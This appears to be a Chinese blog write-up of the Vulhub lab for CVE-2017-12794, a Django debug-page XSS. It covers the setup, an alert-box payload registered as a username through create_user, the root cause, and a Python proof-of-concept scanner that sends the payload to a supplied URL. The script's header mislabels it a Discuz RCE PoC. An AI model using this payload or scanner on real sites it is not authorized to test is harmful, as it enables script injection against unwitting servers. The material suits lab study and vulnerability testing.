【vulhub】CVE-2017-12794_Django debug page XSS漏洞

【vulhub】CVE-2017-12794_Django debug page XSS漏洞

0x01 搭建环境

docekr-compose up -d​启动环境

Clip_2024-09-25_20-52-06

0x02 复现过程

用创建用户的模块create_user​利用参数username​进行注册一个用户,以<script>alert(/xss/)</script>​往数据库里填入用户名

Clip_2024-09-25_20-58-00

再次访问就会出现弹窗

Clip_2024-09-25_20-59-20

00x3 总结

该漏洞的成因主要在于Django debug页面的错误处理方式。当Django出现未捕获的异常时,它会在debug页面上显示详细信息。然而,这些信息未经过适当的转义处理,导致攻击者可以通过精心构造的恶意输入来注入恶意脚本,触发XSS攻击。

0x04 POC

# coding:utf-8
# @File :discuz RCE poc.py
# @IDE :PyCharm
# @Author :打复活赛的牢泠

import requests
import argparse

def argument():
    parser = argparse.ArgumentParser(description="usage:python3 demo.py -u [url]")
    parser.add_argument('-u', '--url', type=str, metavar='', required=True, help='Please input the vulnerable url')
    args = parser.parse_args()
    return args

def poc():
    # 引入 argument() 函数
    args = argument()
    url = args.url
    # 设置 headers
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                      "Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"}

    payload = "/create_user/?username=<script>alert(/xss/)</script>"

    # 进行get请求
    requests.get(url=url+payload, headers=headers, timeout=5)
    res = requests.get(url=url + payload, headers=headers, timeout=5)

    # 若get请求页面中存在xss则存在漏洞
    if "xss" not in res.text:
        print('[-] Not Vulnerable: ', url)
    else:
        print('[+]Vulnerable to xss:', url)

if __name__ == '__main__':
    poc()

posted @ 2024-09-25 21:39  牢泠  阅读(66)  评论(0)    收藏  举报